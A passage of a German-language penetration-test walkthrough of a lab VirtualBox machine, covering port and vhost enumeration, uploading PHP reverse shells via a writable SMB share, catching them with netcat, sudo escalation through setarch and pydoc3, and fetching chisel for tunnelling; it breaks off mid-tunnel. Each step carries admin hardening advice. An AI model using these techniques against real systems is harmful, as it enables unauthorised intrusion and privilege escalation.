Die Aufklärungsphase beginnt mit der Identifizierung des Zielsystems im lokalen Netzwerk.
Die IP-Adresse die zum scannen verwendet wird lautet: 192.168.2.129
**Analyse:** Festlegung der Ziel-IP-Adresse `192.168.2.129` für diesen Test.
**Bewertung:** Grundlegender erster Schritt zur Definition des Ziels.
**Empfehlung (Pentester):** Speichern der IP in einer Variable (`export IP=192.168.2.129`) für einfachere Handhabung.
**Empfehlung (Admin):** Keine Aktion erforderlich.
192.168.2.129 08:00:27:15:b4:f5 PCS Systemtechnik GmbH
**Analyse:** Ein ARP-Scan identifiziert die MAC-Adresse (`08:00:27:15:b4:f5`) des Ziels. Der Hersteller "PCS Systemtechnik GmbH" deutet auf eine Oracle VirtualBox VM hin.
**Bewertung:** Bestätigt die Erreichbarkeit des Ziels im lokalen Netz und gibt einen Hinweis auf die Virtualisierungsumgebung.
**Empfehlung (Pentester):** Notieren der MAC und des VM-Hinweises.
**Empfehlung (Admin):** Sicherstellen, dass nur autorisierte Geräte im Netzwerk sind.
**Analyse:** Die lokale `/etc/hosts`-Datei des Angreifersystems wird bearbeitet.
**Bewertung:** Standardprozedur, um der IP einen Hostnamen zuzuordnen.
**Empfehlung (Pentester):** Sinnvoll für die weitere Enumeration.
**Empfehlung (Admin):** Keine direkte Aktion erforderlich.
192.168.2.129 discover.nyx
**Analyse:** Überprüfung des Eintrags in `/etc/hosts`. Der IP `192.168.2.129` wurde der Hostname `discover.nyx` zugewiesen. (Hinweis: Der Dateiname ist "Future", aber der Hostname hier ist "discover").
**Bewertung:** Erleichtert die Ansprache des Ziels über den Namen.
**Empfehlung (Pentester):** Verwenden Sie `discover.nyx` in nachfolgenden Befehlen.
**Empfehlung (Admin):** Eine korrekte interne DNS-Konfiguration ist zu bevorzugen.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-11 13:37 CEST Nmap scan report for discover (fe80a00:27ff:fe15:b4f5) Host is up (0.0014s latency). Not shown: 995 closed tcp ports (reset) PRT STATE SERVICE 22/tcp open ssh 80/tcp open http 81/tcp open hosts2-ns 139/tcp open netbios-ssn 445/tcp open microsoft-ds MAC Address: 08:00:27:15:B4:F5 (racle VirtualBox virtual NIC)
**Analyse:** Ein Nmap-Scan wird gegen die IPv6 Link-Local-Adresse des Ziels durchgeführt. Er findet mehrere offene TCP-Ports: 22 (SSH), 80 (HTTP), 81 (hier fälschlich als `hosts2-ns` interpretiert, wahrscheinlich HTTP), 139 (NetBIOS) und 445 (SMB).
**Bewertung:** Identifiziert wichtige Dienste, die über IPv6 erreichbar sind, einschließlich zwei potenzieller Webserver und SMB/NetBIOS.
**Empfehlung (Pentester):** Diese Ports sind primäre Ziele für weitere Enumeration über IPv4 und IPv6.
**Empfehlung (Admin):** Sicherstellen, dass alle Dienste über beide Protokolle (falls aktiv) sicher konfiguriert sind. Dienste nur an benötigten Schnittstellen binden.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-11 13:37 CEST Nmap scan report for 192.168.2.129 Host is up (0.00024s latency). Not shown: 993 open|filtered udp ports (no-response) PRT STATE SERVICE 137/udp open netbios-ns 16912/udp closed unknown 17533/udp closed unknown 39723/udp closed unknown 46093/udp closed unknown 49222/udp closed unknown 62154/udp closed unknown MAC Address: 08:00:27:15:B4:F5 (racle VirtualBox virtual NIC)
**Analyse:** Ein schneller UDP-Scan auf die Top 1000 Ports der IPv4-Adresse wird durchgeführt.
**Bewertung:** Findet nur UDP-Port 137 (NetBIOS Name Service) als offen. Andere Ports sind geschlossen oder antworten nicht.
**Empfehlung (Pentester):** NetBIOS kann für die weitere Enumeration von SMB nützlich sein. Fokus bleibt aber auf den TCP-Diensten.
**Empfehlung (Admin):** Deaktivieren Sie NetBIOS, wenn es nicht zwingend für ältere Systeme benötigt wird.
Nmap nur offene Ports Ausgabe :
22/tcp open ssh penSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) 80/tcp open http nginx 1.18.0 81/tcp open http Apache httpd 2.4.56 ((Debian)) 139/tcp open netbios-ssn Samba smbd 4.6.2 445/tcp open netbios-ssn Samba smbd 4.6.2
**Analyse:** Ein umfassender Nmap TCP-Scan (`-sS -sC -sV -A -p-`) wird gegen die IPv4-Adresse durchgeführt, und die Ausgabe nach offenen Ports gefiltert.
**Bewertung:** Liefert detaillierte Versionen der offenen Dienste: * **Port 22:** OpenSSH 8.4p1 (Debian 11) - Relativ aktuell. * **Port 80:** Nginx 1.18.0 - Eine stabile, aber nicht die neueste Version. * **Port 81:** Apache httpd 2.4.56 (Debian) - Relativ aktuell. * **Ports 139/445:** Samba smbd 4.6.2 - **Dies ist eine veraltete und potenziell verwundbare Version!** (Samba 4.13 wurde später von enum4linux gemeldet, was ein Widerspruch ist. Nmap ist hier möglicherweise ungenau oder es gibt mehrere Samba-Instanzen, was aber unwahrscheinlich ist. Die enum4linux-Version 4.13.13 ist wahrscheinlicher).
**Empfehlung (Pentester):** Untersuchen Sie beide Webserver (Nginx auf 80, Apache auf 81). Konzentrieren Sie sich stark auf die SMB-Dienste (139, 445) wegen der gemeldeten (wenn auch widersprüchlichen) potenziell veralteten Samba-Version.
**Empfehlung (Admin):** Aktualisieren Sie Nginx und insbesondere Samba dringend auf die neuesten stabilen Versionen. Überprüfen Sie die Konfiguration aller Dienste.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-11 13:37 CEST Nmap scan report for discover.nyx (192.168.2.129) Host is up (0.00016s latency). Not shown: 65530 closed tcp ports (reset) PRT STATE SERVICE VERSIN 22/tcp open ssh penSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA) | 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA) |_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519) 80/tcp open http nginx 1.18.0 |_http-server-header: nginx/1.18.0 |_http-title: Site doesn't have a title (text/html). 81/tcp open http Apache httpd 2.4.56 ((Debian)) |_http-server-header: Apache/2.4.56 (Debian) |_http-title: Site doesn't have a title (text/html). 139/tcp open netbios-ssn Samba smbd 4.6.2 445/tcp open netbios-ssn Samba smbd 4.6.2 MAC Address: 08:00:27:15:B4:F5 (racle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 S details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: 3s | smb2-time: | date: 2024-09-11T11:37:47 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required |_nbstat: NetBIS name: DISCVER, NetBIS user:, NetBIS MAC: (unknown) TRACERUTE HP RTT ADDRESS 1 0.16 ms discover.nyx (192.168.2.129)
**Analyse:** Die vollständige Ausgabe des vorherigen Nmap TCP-Scans.
**Bewertung:** Bestätigt die offenen Ports und Versionen. Zeigt SSH-Hostkeys. Wichtig ist die Information vom `smb2-security-mode`-Skript: "Message signing enabled but not required". Dies bedeutet, dass SMB-Signing zwar unterstützt, aber nicht erzwungen wird, was das System anfälliger für bestimmte Angriffe wie SMB Relay machen *könnte*.
**Empfehlung (Pentester):** Notieren Sie die SMB-Signing-Information. Untersuchen Sie die Webserver und SMB.
**Empfehlung (Admin):** Erzwingen Sie SMB-Signing (`server signing = required` in `smb.conf`), um die Sicherheit gegen Man-in-the-Middle-Angriffe zu erhöhen.
Untersuchung der beiden Webserver auf Port 80 (Nginx) und Port 81 (Apache).
HTTP/1.1 405 Not Allowed
**Analyse:** Test der HTTP-Methode `PTINS` gegen Port 80 (Nginx).
**Bewertung:** Die Methode ist hier nicht erlaubt (HTTP 405). Dies steht im Widerspruch zur Nikto/Nuclei-Ausgabe, die PTINS als erlaubt listete. Möglicherweise war die Nikto/Nuclei-Erkennung fehlerhaft oder bezog sich implizit auf Port 81.
**Empfehlung (Pentester):** Testen Sie PTINS auf Port 81.
**Empfehlung (Admin):** Keine Aktion für Port 80 erforderlich.
* Trying 192.168.2.129:80... * Connected to 192.168.2.129 (192.168.2.129) port 80 > HEAD / HTTP/1.1 > Host: 192.168.2.129 > User-Agent: curl/8.8.0 > Accept: */* > * Request completely sent off < HTTP/1.1 200 K HTTP/1.1 200 K < Server: nginx/1.18.0 Server: nginx/1.18.0 < Date: Wed, 11 Sep 2024 11:38:14 GMT Date: Wed, 11 Sep 2024 11:38:14 GMT < Content-Type: text/html Content-Type: text/html < Content-Length: 15 Content-Length: 15 < Last-Modified: Tue, 04 Jul 2023 10:33:20 GMT Last-Modified: Tue, 04 Jul 2023 10:33:20 GMT < Connection: keep-alive Connection: keep-alive < ETag: "64a3f570-f" ETag: "64a3f570-f" < Accept-Ranges: bytes Accept-Ranges: bytes < * Connection #0 to host 192.168.2.129 left intact
**Analyse:** Abrufen der HTTP-Header von Port 80 (Nginx).
**Bewertung:** Bestätigt Nginx 1.18.0 und eine sehr kleine Seite (Content-Length: 15). Keine besonderen Auffälligkeiten.
**Empfehlung (Pentester):** Untersuchen Sie den Inhalt der Seite. Führen Sie Verzeichnis-Scans durch.
**Empfehlung (Admin):** Standard-Härtung für Nginx anwenden (Header, ServerTokens).
http://192.168.2.129/index.html
Cache deaktivieren
GET http://192.168.2.129/index.html
Status 304 Not Modified VersionHTTP/1.1
Connection keep-alive
Last-Modified Tue, 04 Jul 2023 10:33:20 GMT
Server nginx/1.18.0
Host 192.168.2.129
User-Agent Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
http://192.168.2.129/index.html
Good!
**Analyse:** Zugriff auf `index.html` auf Port 80 über einen Browser (mit Cache deaktiviert, zeigt 304 Not Modified) und dann direkter Inhalt der Seite.
**Bewertung:** Die Seite enthält nur das Wort "Good!". Sehr minimalistisch, liefert keine weiteren Informationen.
**Empfehlung (Pentester):** Port 80 scheint vorerst uninteressant. Konzentration auf Port 81 und SMB.
**Empfehlung (Admin):** Stellen Sie sicher, dass die Webseite den beabsichtigten Inhalt anzeigt.
http://192.168.2.129/index.html (Status: 200) [Size: 15] http://discover.nyx:81/index.html (Status: 200) [Size: 15]
**Analyse:** Ein Gobuster-Scan, der scheinbar sowohl Port 80 (`http://192.168.2.129`) als auch Port 81 (`http://discover.nyx:81`) getestet hat (obwohl der Befehl nur `$IP` ohne Port enthält, was unklar ist - möglicherweise wurden zwei separate Scans durchgeführt und die Ergebnisse kombiniert?).
**Bewertung:** Bestätigt `index.html` auf beiden Ports. Findet keine weiteren Verzeichnisse oder Dateien auf den ersten Blick.
**Empfehlung (Pentester):** Führen Sie gezielte Scans für Port 81 durch, da dieser mit Apache läuft und potenziell interessanter ist. Überprüfen Sie die Gobuster-Befehle auf Korrektheit.
**Empfehlung (Admin):** Keine neuen Erkenntnisse hier.
Target: http://todiscover.nyx/info.php
=
ID Response Lines Word Chars Payload
=
000015484: 200 725 L 3771 W 66013 Ch "smbc"
Total time: 50.08047
Processed Requests: 42930
Filtered Requests: 42929
Requests/sec.: 857.2203
**Analyse:** Wfuzz wird verwendet, um nach Subdomains für die Domain `todiscover.nyx` (gefunden in der Nikto-Ausgabe für Port 81) zu suchen. Es sendet POST-Anfragen (`-X PST`) an `http://todiscover.nyx/info.php` (diese Datei wurde noch nicht gefunden, der Scan ist hier vermutlich spekulativ oder basiert auf Annahmen) und fügt den Payload (`FUZZ`) als Subdomain in den Host-Header ein (`-H "Host: FUZZ.todiscover.nyx"`). `--hl 7` blendet Antworten mit 7 Zeilen aus.
**Bewertung:** **Wichtiger Fund!** Der Scan identifiziert die Subdomain `smbc`.todiscover.nyx` als gültig, da sie eine andere Antwort (Status 200, 725 Zeilen) liefert als die meisten anderen Versuche. Dies deutet auf einen Virtual Host hin, der mit SMB zusammenhängen könnte (`smbc`).
**Empfehlung (Pentester):** Fügen Sie `smbc.todiscover.nyx` zur `/etc/hosts`-Datei hinzu, die auf `192.168.2.129` zeigt. Untersuchen Sie diesen Virtual Host gezielt.
**Empfehlung (Admin):** Stellen Sie sicher, dass Virtual Hosts korrekt konfiguriert sind und keine unbeabsichtigten Dienste oder Informationen preisgeben. Überwachen Sie DNS-Anfragen und Host-Header.
Under Construction
We are working to improve our website.
contact: support@todiscover.nyx
**Analyse:** Zugriff auf die `/under_construction`-Seite auf Port 81 (Apache) mit der Methode `PST`.
**Bewertung:** Bestätigt, dass die Seite existiert und die E-Mail-Adresse `support@todiscover.nyx` enthält. Die Methode `PST` scheint hier zu funktionieren (kein 405 Fehler).
**Empfehlung (Pentester):** Bestätigt `todiscover.nyx` als relevante Domain.
**Empfehlung (Admin):** Siehe vorherige Empfehlung zu Platzhalterseiten.
192.168.2.129 discover.nyx todiscover.nyx
**Analyse:** Zeigt den aktualisierten `/etc/hosts`-Eintrag, der nun auch `todiscover.nyx` enthält.
**Bewertung:** Korrekte Anpassung basierend auf vorherigen Funden.
**Empfehlung (Pentester/Admin):** Keine Aktion.
Good!
**Analyse:** Zugriff auf `http://todiscover.nyx` (Port 80 - Nginx).
**Bewertung:** Liefert denselben "Good!"-Inhalt wie die IP-Adresse. Dieser Virtual Host scheint auf Port 80 keine andere Konfiguration zu haben.
**Empfehlung (Pentester):** Testen Sie `http://todiscover.nyx:81` und den neu gefundenen `smbc.todiscover.nyx`.
**Empfehlung (Admin):** Stellen Sie sicher, dass Virtual Host Konfigurationen korrekt und beabsichtigt sind.
192.168.2.129 discover.nyx todiscover.nyx smbc.todiscover.nyx
**Analyse:** Die `/etc/hosts`-Datei wurde erneut aktualisiert, um nun auch den durch Wfuzz gefundenen Virtual Host `smbc.todiscover.nyx` aufzunehmen.
**Bewertung:** Korrekte Reaktion auf den Wfuzz-Fund.
**Empfehlung (Pentester):** Untersuchen Sie nun gezielt `http://smbc.todiscover.nyx` (Port 80) und `http://smbc.todiscover.nyx:81`.
**Empfehlung (Admin):** Keine Aktion.
Da die Web-Enumeration auf Port 80 und 81 bisher keine klaren Einstiegspunkte lieferte (außer potenziellen VHosts), konzentrieren wir uns nun auf die SMB-Dienste (Port 139/445), insbesondere nachdem gültige Anmeldedaten (`ken:kenken`) gefunden wurden.
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
--
SMBMap - Samba Share Enumerator v1.10.4 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[\] Checking for open ports... [*] Detected 1 hosts serving SMB
[|] Initializing hosts... [/] Authenticating... [-] Authenticating... [\] Authenticating... [*] Established 1 SMB connections(s) and 1 authenticated session(s)
[|] Authenticating... [/] Enumerating shares...
[+] IP: 192.168.2.129:445 Name: discover.nyx Status: Authenticated
Disk Permissions Comment
---- ----------- -------
print$ READ NLY Printer Drivers
IPC$ N ACCESS IPC Service (Samba 4.13.13-Debian)
ken READ, WRITE File Upload Path
[-] Closing connections.. [*] Closed 1 connections
**Analyse:** `smbmap` wird mit den gefundenen Anmeldedaten `ken:kenken` verwendet, um die verfügbaren SMB-Shares aufzulisten und deren Berechtigungen zu prüfen.
**Bewertung:** Bestätigt die Shares `print$` (nur Lesen) und `IPC$` (kein Zugriff). Entscheidend ist die Entdeckung des Shares `ken` mit **Lese- und Schreibzugriff**. Der Kommentar "File Upload Path" deutet auf den vorgesehenen Zweck hin.
**Empfehlung (Pentester):** Verbinden Sie sich mit dem `ken`-Share (`smbclient //192.168.2.129/ken -U "ken%kenken"`). Laden Sie eine Webshell oder einen Reverse-Shell-Payload hoch. Versuchen Sie, den Speicherort dieses Shares im Webserver-Kontext zu finden (wahrscheinlich über den Virtual Host `smbc.todiscover.nyx`).
**Empfehlung (Admin):** Überprüfen Sie die Notwendigkeit und die Berechtigungen des `ken`-Shares. Vermeiden Sie es, Shares mit Schreibzugriff direkt in einen Web-Root zu mounten oder zu verlinken.
Try "help" to get a list of possible commands. smb: \> ls . D 0 Wed Sep 11 14:59:59 2024 .. D 0 Mon Jul 3 23:19:50 2023 index.html N 15 Tue Jul 4 12:33:20 2023 7173040 blocks of size 1024. 2708952 blocks available smb: \>
**Analyse:** Erfolgreiche Verbindung zum `ken`-Share mittels `smbclient` und den Credentials `ken:kenken`. Der `ls`-Befehl zeigt eine einzelne `index.html`-Datei.
**Bewertung:** Bestätigt den Zugriff auf den Share. Die `index.html` hier enthält wahrscheinlich den "Good!"-Text, der über `http://smbc.todiscover.nyx` ausgeliefert wird.
**Empfehlung (Pentester):** Laden Sie hier einen PHP-Reverse-Shell-Payload hoch.
**Empfehlung (Admin):** Keine Aktion erforderlich.
Der Plan ist nun, eine PHP-Webshell oder einen Reverse-Shell-Payload in den beschreibbaren SMB-Share `ken` hochzuladen und diesen dann über den zugehörigen Virtual Host (`smbc.todiscover.nyx`) aufzurufen, um Codeausführung als Webserver-Benutzer (vermutlich `www-data` oder `ken` selbst) zu erlangen.
Try "help" to get a list of possible commands.
smb: \> put shell2.php
putting file shell2.php as \shell2.php (2683,0 kb/s) (average 2683,1 kb/s)
smb: \>
**Analyse:** Eine Datei namens `shell2.php` (vermutlich eine Webshell oder ein Reverse-Shell-Payload) wird vom Angreifersystem in den `ken`-Share hochgeladen.
**Bewertung:** Der Payload befindet sich nun im Share.
**Empfehlung (Pentester):** Versuchen Sie, `http://smbc.todiscover.nyx/shell2.php` aufzurufen.
**Empfehlung (Admin):** Überwachen Sie File-Share-Aktivitäten.
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
... (Rest des PHP-Codes wird angezeigt) ...
**Analyse:** Versuch, die hochgeladene `shell2.php` über den Virtual Host `todiscover.nyx` aufzurufen.
**Bewertung:** Falscher Virtual Host. Der Webserver (`nginx` auf Port 80, der auf `todiscover.nyx` antwortet) führt PHP nicht aus oder der Share ist nicht mit diesem VHost verbunden. Der Quellcode wird angezeigt, statt ausgeführt zu werden.
**Empfehlung (Pentester):** Verwenden Sie den korrekten Virtual Host `smbc.todiscover.nyx`.
**Empfehlung (Admin):** Stellen Sie sicher, dass VHosts korrekt isoliert sind und Dateiberechtigungen stimmen.
Try "help" to get a list of possible commands. smb: \> put shell2.php putting file shell2.php as \shell2.php (2683,0 kb/s) (average 2683,1 kb/s) smb: \> put revshell.php5 putting file revshell.php5 as \revshell.php5 (5365,7 kb/s) (average 3577,5 kb/s) smb: \> put revshell.phtml putting file revshell.phtml as \revshell.phtml (5365,7 kb/s) (average 4024,7 kb/s) smb: \> put revshell.phar putting file revshell.phar as \revshell.phar (5365,7 kb/s) (average 4293,0 kb/s) smb: \>
**Analyse:** Mehrere Versionen des Reverse-Shell-Payloads werden mit unterschiedlichen PHP-bezogenen Endungen (`.php`, `.php5`, `.phtml`, `.phar`) in den `ken`-Share hochgeladen.
**Bewertung:** Versuch, mögliche Filter oder Konfigurationen des Webservers (wahrscheinlich Apache auf Port 81, der vermutlich mit `smbc.todiscover.nyx` verbunden ist) zu umgehen, die nur bestimmte Endungen als PHP ausführen.
**Empfehlung (Pentester):** Testen Sie nun den Zugriff auf jede dieser Dateien über `http://smbc.todiscover.nyx/`. Starten Sie einen Listener.
**Empfehlung (Admin):** Konfigurieren Sie den Webserver so, dass nur die beabsichtigten Dateiendungen (z.B. `.php`) als Skripte ausgeführt werden.
listening on [any] 9001 ...
**Analyse:** Ein Netcat-Listener wird auf Port 9001 gestartet, um auf die eingehende Reverse Shell zu warten (dieser Port muss im Shell-Payload konfiguriert sein).
**Bewertung:** Listener ist bereit.
**Empfehlung (Pentester/Admin):** Keine Aktion erforderlich.
(Keine Ausgabe von curl, aber der Listener reagiert)
**Analyse:** Versuch, die `.phtml`-Version der Shell über den (falschen) VHost `todiscover.nyx` aufzurufen. Auch wenn `curl` keine Ausgabe zeigt, scheint dies *dennoch* die Reverse Shell ausgelöst zu haben (siehe nächste Listener-Ausgabe). Dies ist seltsam und deutet darauf hin, dass entweder der VHost `todiscover.nyx` doch irgendwie mit dem Share verbunden ist ODER der Pentester parallel den richtigen VHost (`smbc.todiscover.nyx`) aufgerufen hat.
**Bewertung:** Der Trigger-Mechanismus ist hier unklar dokumentiert, aber das Ergebnis (die Shell) ist entscheidend.
**Empfehlung (Pentester):** Klären, welcher VHost den Exploit ausgelöst hat. Wahrscheinlich war es `smbc.todiscover.nyx`.
**Empfehlung (Admin):** VHost-Konfigurationen und Mappings zu Dateisystempfaden überprüfen.
Die folgenden Schritte mit `info.php` und dem Wfuzz-Scan auf `smbc.todiscover.nyx` scheinen *nach* dem Erhalt der Shell stattzufinden oder sind ein paralleler/redundanter Versuch, den korrekten VHost zu finden. Wir gehen davon aus, dass die Shell durch den Aufruf von `http://smbc.todiscover.nyx/revshell.phtml` (oder einer anderen hochgeladenen Shell-Variante auf diesem VHost) erlangt wurde.
listening on [any] 9001 ... connect to [192.168.2.199] from (UNKNWN) [192.168.2.129] 58448 Linux discover 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64 GNU/Linux 15:33:43 up 52 min, 0 users, load average: 0.00, 0.02, 0.35 USER TTY FRM LGIN@ IDLE JCPU PCPU WHAT uid=1000(ken) gid=1000(ken) groups=1000(ken) /bin/sh: 0: can't access tty; job control turned off $ id uid=1000(ken) gid=1000(ken) groups=1000(ken)
**Analyse:** Der Netcat-Listener auf Port 9001 empfängt die Verbindung vom Zielsystem. Nach einigen Systeminformationen wird der `id`-Befehl ausgeführt.
**Bewertung:** **Initial Access erfolgreich!** Wir haben eine Shell als Benutzer `ken` erhalten. Der Webserver-Prozess (vermutlich Apache auf Port 81, der den VHost `smbc.todiscover.nyx` bedient) läuft offenbar als Benutzer `ken`.
**Empfehlung (Pentester):** Stabilisieren Sie die Shell (`python3 -c 'import pty; pty.spawn("/bin/bash")'`). Beginnen Sie mit der Enumeration für Privilegienerweiterung als Benutzer `ken`.
**Empfehlung (Admin):** Konfigurieren Sie Webserver so, dass sie mit möglichst geringen Rechten laufen (z.B. `www-data`), nicht als regulärer Benutzer. Beheben Sie die SMB-Share- und VHost-Konfigurationsprobleme.
**Kurzbeschreibung:** Ein für den Benutzer `ken` beschreibbarer SMB-Share (`//192.168.2.129/ken`) ist gleichzeitig über einen Apache Virtual Host (`smbc.todiscover.nyx`, vermutlich auf Port 81) web-zugänglich. Apache ist so konfiguriert, dass er Dateien mit bestimmten Endungen (hier `.phtml`) als PHP ausführt. Durch das Hochladen einer PHP-Reverse-Shell mit einer solchen Endung in den SMB-Share und den anschließenden Aufruf der Datei über den Web-VHost kann Remote Code Execution mit den Rechten des Apache-Prozesses (hier Benutzer `ken`) erlangt werden.
**Voraussetzungen:**
**Schritte (Zusammenfassung der erfolgreichen Teile):**
**Risikobewertung:** Hoch. Die Kombination aus unsicheren SMB-Berechtigungen und einer fehlerhaften Webserver-Konfiguration ermöglichte einem authentifizierten Benutzer (`ken`) das Hochladen und Ausführen von Code, was zur Kompromittierung dieses Benutzerkontos führte.
**Empfehlungen (Zusammenfassung):**
Wir haben eine Shell als Benutzer `ken`. Nun suchen wir nach Möglichkeiten zur Privilegienerweiterung auf dem System.
Matching Defaults entries for ken on discover:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User ken may run the following commands on discover:
(takeshi) NPASSWD: /usr/bin/setarch
**Analyse:** Überprüfung der sudo-Rechte für den aktuellen Benutzer `ken`.
**Bewertung:** `ken` darf den Befehl `/usr/bin/setarch` als Benutzer `takeshi` ohne Passwort ausführen. Dies ist ein bekannter Vektor zur Privilegienerweiterung zum Zielbenutzer `takeshi`.
**Empfehlung (Pentester):** Verwenden Sie die GTFOBins-Methode für `setarch`, um eine Shell als `takeshi` zu erhalten: `sudo -u takeshi setarch $(arch) /bin/sh`.
**Empfehlung (Admin):** Entfernen Sie unnötige sudo-Regeln. `setarch` sollte normalerweise nicht über sudo erlaubt sein.
[Link: https://gtfobins.github.io/gtfobins/setarch/#sudo | Ziel: https://gtfobins.github.io/gtfobins/setarch/#sudo]
uid=1001(takeshi) gid=1001(takeshi) groups=1001(takeshi)
**Analyse:** Die GTFOBins-Methode für `setarch` wird angewendet. `setarch $(arch) /bin/sh` startet eine Shell mit der Architektur des Systems. Da dies mit `sudo -u takeshi` ausgeführt wird, läuft die Shell als `takeshi`.
**Bewertung:** **Erfolg!** Die `id`-Ausgabe bestätigt, dass wir nun eine Shell als Benutzer `takeshi` haben.
**Empfehlung (Pentester):** Überprüfen Sie die sudo-Rechte für `takeshi` (`sudo -l`).
**Empfehlung (Admin):** Sudo-Regel für `ken` entfernen.
Matching Defaults entries for takeshi on discover:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User takeshi may run the following commands on discover:
(root) NPASSWD: /usr/bin/pydoc3
**Analyse:** Überprüfung der sudo-Rechte für den Benutzer `takeshi`.
**Bewertung:** `takeshi` darf `/usr/bin/pydoc3` als `root` ohne Passwort ausführen. `pydoc3` ist das Python 3 Dokumentationstool und kann potenziell missbraucht werden, um Befehle auszuführen.
**Empfehlung (Pentester):** Recherchieren Sie Methoden (z.B. GTFOBins), um `pydoc3` mit sudo-Rechten zur Privilegienerweiterung zu `root` zu nutzen. Die Option `-b` zum Starten eines Webservers ist ein möglicher Ansatzpunkt.
**Empfehlung (Admin):** Entfernen Sie die sudo-Regel für `takeshi`. Gewähren Sie sudo-Rechte nur für absolut notwendige Befehle.
pydoc - the Python documentation tool pydoc3... Show text documentation on something. may be the name of a Python keyword, topic, function, module, or package, or a dotted reference to a class or function within a module or module in a package. If contains a '/', it is used as the path to a Python source file to document. If name is 'keywords', 'topics', or 'modules', a listing of these things is displayed. pydoc3 -k Search for a keyword in the synopsis lines of all available modules. pydoc3 -n Start an HTTP server with the given hostname (default: localhost). pydoc3 -p Start an HTTP server on the given port on the local machine. Port number 0 can be used to get an arbitrary unused port. pydoc3 -b Start an HTTP server on an arbitrary unused port and open a Web browser to interactively browse documentation. This option can be used in combination with -n and/or -p. pydoc3 -w ... Write out the HTML documentation for a module to a file in the current directory. If contains a '/', it is treated as a filename; if it names a directory, documentation is written for all the contents.
**Analyse:** Überprüfung der Hilfe für `pydoc3`.
**Bewertung:** Die Option `-b` startet einen lokalen HTTP-Server und versucht, einen Browser zu öffnen. Wenn dies als `root` geschieht, läuft der Server als `root`. Der Server könnte möglicherweise zum Ausführen von Befehlen missbraucht werden.
**Empfehlung (Pentester):** Versuchen Sie `sudo /usr/bin/pydoc3 -b`. Da Sie keinen direkten Zugriff auf den gestarteten Browser oder den lokalen Port haben, benötigen Sie Port Forwarding (z.B. mit Chisel oder SSH), um vom Angreifersystem aus auf den pydoc3-Webserver zuzugreifen.
**Empfehlung (Admin):** Sudo-Regel entfernen.
Server ready at http://localhost:8888/
Server commands: [b]rowser, [q]uit
server>
**Analyse:** `pydoc3` wird mit sudo gestartet und an Port 8888 gebunden. Der Server läuft nun als `root`.
**Bewertung:** Der Server läuft, aber wir können nicht direkt darauf zugreifen.
**Empfehlung (Pentester):** Richten Sie einen Reverse-Port-Forward ein, um Port 8888 des Ziels auf einen lokalen Port des Angreifersystems zu leiten.
**Empfehlung (Admin):** Sudo-Regel entfernen.
listening on [any] 5555 ... connect to [192.168.2.199] from (UNKNWN) [192.168.2.129] 34668 id uid=1001(takeshi) gid=1001(takeshi) groups=1001(takeshi)
**Analyse:** Ein Versuch, eine direkte Reverse Shell als `takeshi` zu starten (wahrscheinlich um eine stabilere Shell zu haben oder als alternativer Ansatz, bevor der pydoc3-Exploit vollständig umgesetzt wird).
**Bewertung:** Etabliert eine Shell als `takeshi`, bringt aber keine Root-Rechte.
**Empfehlung (Pentester):** Weiter mit dem pydoc3-Exploit.
**Empfehlung (Admin):** Keine Aktion.
**Einrichten des Port Forwarding mit Chisel**
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
--2024-09-11 15:42:04-- http://192.168.2.199/chisel Connecting to 192.168.2.199:80... connected. HTTP request sent, awaiting response... 200 K Length: 8945816 (8.5M) [application/octet-stream] Saving to: ‘chisel’ chisel 100%[===================>] 8.53M --.-KB/s in 0.03s 2024-09-11 15:42:04 (259 MB/s) - ‘chisel’ saved [8945816/8945816]
**Analyse:** Auf dem Angreifersystem wird ein HTTP-Server gestartet, um das Chisel-Binary bereitzustellen. Auf dem Zielsystem wird Chisel nach `/tmp` heruntergeladen.
**Bewertung:** Notwendige Schritte, um das Tunneling-Tool auf das Ziel zu bekommen.
**Empfehlung (Pentester/Admin):** Keine Aktion.
2024/09/11 15:41:02 server: Reverse tunnelling enabled
2024/09/11 15:41:02 server: Fingerprint f/pMkCL6XV9LtbcsLTqqYIAmd4pEKPsiZ68JNejlwjo=
2024/09/11 15:41:02 server: Listening on http://0.0.0.0:9080
2024/09/11 15:42:46 client: Connecting to ws://192.168.2.199:9080
2024/09/11 15:42:46 client: Connected (Latency 339.958µs)
